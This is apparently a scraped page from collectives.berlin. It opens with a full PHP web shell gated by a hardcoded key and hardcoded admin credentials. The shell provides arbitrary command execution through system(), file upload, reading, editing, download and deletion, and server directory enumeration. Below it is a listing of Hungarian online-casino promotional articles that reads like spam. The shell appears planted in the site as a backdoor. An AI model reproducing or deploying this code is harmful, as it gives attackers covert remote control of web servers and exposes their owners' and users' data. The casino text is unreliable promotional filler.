if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } textsHU – Page 2 – collectives.berlin

Your digital paradise.

Category: textsHU

  • Azonnal fizető online casino 2026-os évben

    Azonnal fizető online casino 2026-os évben Valamennyi tapasztalt játékos tisztában van vele, hogy a eredményesség alapja a megfelelő kaszinó megtalálása. 2026-ban a legfőbb igény a villámgyors kifizetés. A szerencsejáték piaca megállás nélkül bővül. Írásunkban azt járjuk körbe, hogy milyenek a legfontosabb szempontok a gyors tranzakciókat biztosító platformok tesztelésekor. Üdvözöljük a legújabb online szerencsejáték térben! A…

    Click or not…

  • Magyarországon engedélyezett casino oldalak összehasonlítása

    Magyarországon engedélyezett casino oldalak összehasonlítása A hazai szerencsejáték-szabályozás az utóbbi időszakban teljesen új alapokra került, ugyanis a hazai közönség hivatalos engedéllyel rendelkező oldalakon is teljes értékű élményt kapnak. A szabályosan működő casino oldalak választásakor a legnagyobb nyereség az átláthatóság, amit szürkezónás platformon hiába keres a játékos. Napjainkban valóban indokolt, hogy mindenki tudja, melyik oldal működik…

    Click or not…

  • Legalis magyar online casino: mit jelent a hivatalos engedély

    Legalis magyar online casino: mit jelent a hivatalos engedély Manapság az itthoni kaszinópiac sokat változott, így érezhetően erősödött a kereslet a jogszerűen üzemelő kaszinók iránt. A választás ritkán magától értetődő, lévén, hogy a reklámüzenetek gyakran félrevezetők. A szabályozás fokozatosan letisztult, ez pedig a felhasználók védelmét erősíti. Aki csupán alkalmanként játszik, annak is hasznos átlátni a…

    Click or not…

  • Legjobb online kaszinók sms befizetéssel 2026-ban

    Legjobb online kaszinók sms befizetéssel 2026-ban Napjainkban a itthoni felhasználók körében az érdeklődők rendszeresen fordulnak olyan befizetési csatorna felé, amely azonnali, kényelmes és bankszámla nélkül is működik. Éppen ezért az SMS alapú tranzakció sokak kedvencévé vált. A digitális fizetések terjedésével teljesen megváltozott az, ahogyan a játékosok kezelik az egyenlegüket. Nem is olyan rég jórészt a…

    Click or not…

  • Casino SMS Befizetés: Összehasonlítás és Értékelés

    Casino SMS Befizetés: Összehasonlítás és Értékelés A jelenlegi piaci helyzetben a magyar játékosok egyre gyakrabban részesítenek előnyben olyan konstrukciókat, amelyek megbízhatóak és stabilak. Az sms alapú tranzakció éppen ezeknek az elvárásoknak felel meg, hiszen néhány másodperc alatt lezajlik. A legfrissebb tendenciák szerint folyamatosan emelkedik az ilyen szolgáltatást kínáló oldalak köre, ennek következtében a választás egyre…

    Click or not…

  • Kaszinó SMS Befizetés: Hogyan Működik És Hol Érdemes

    Kaszinó SMS Befizetés: Hogyan Működik És Hol Érdemes Az utóbbi hónapokban a mobilról kaszinózók szinte alapértelmezésként fordulnak a mobilfizetés felé, mert a bankkártya megadása sokak számára kényelmetlen. Az sms fizetés casino rendszer itt lép be a képbe. Az elv rendkívül egyszerű: az ügyfél küld egy szöveges üzenetet a fizetési partner számára, a befizetett tétel néhány…

    Click or not…

  • Legjobb 2000 HUF Minimális Befizetésű Kaszinó Oldalak

    Legjobb 2000 HUF Minimális Befizetésű Kaszinó Oldalak A magyar játékosok körében komoly érdeklődést vált ki az a modell, amikor apró tétekkel is meg lehet kezdeni a játékot. A kaszino minimalis befizetes 2000 ft kifejezés pontosan emiatt gyakran szerepel a találati listákon, hiszen sokan nem szeretnének jelentős tőkét elkötelezni a kezdeti szakaszban. 2026-ban a iparág láthatóan…

    Click or not…

  • Legjobb 2000 HUF Minimális Befizetésű Kaszinó Oldalak 2026-ban

    Legjobb 2000 HUF Minimális Befizetésű Kaszinó Oldalak 2026-ban A jelenlegi piaci helyzetben számos magyarországi érdeklődő figyel fel olyan kaszinókra, amelyek nem kérnek jelentős kezdőtőkét. Az ilyen mértékű alsó határ kényelmes kiindulópontot ad az újonnan regisztrálók számára. Több oka is van annak, hogy ez a kérdés előtérbe került, mivel a magyar szabályozás komoly változásokon ment keresztül.…

    Click or not…

  • 500 huf online kaszinók 2026

    500 huf online kaszinók 2026 Légy üdvözölve az minimális befizetésű online kaszinók világában! A felhasználók szélesedő tábora kutatja azokat a kaszinókat, ahol már egy kávé áráért is játszhat. Cikkünkben azt vizsgáljuk meg, hogy tényleg megoldható-e magas színvonalú szórakozást kapni mindössze 500 forintos befizetéssel. A jelenlegi piaci helyzetben maximálisan világos, hogy számos felhasználó nincs szándékában hatalmas…

    Click or not…

  • 500 huf online kaszinók 2026

    500 huf online kaszinók 2026 Légy üdvözölve az minimális befizetésű online kaszinók világában! A felhasználók szélesedő tábora kutatja azokat a kaszinókat, ahol már egy kávé áráért is játszhat. Cikkünkben azt vizsgáljuk meg, hogy tényleg megoldható-e magas színvonalú szórakozást kapni mindössze 500 forintos befizetéssel. A jelenlegi piaci helyzetben maximálisan világos, hogy számos felhasználó nincs szándékában hatalmas…

    Click or not…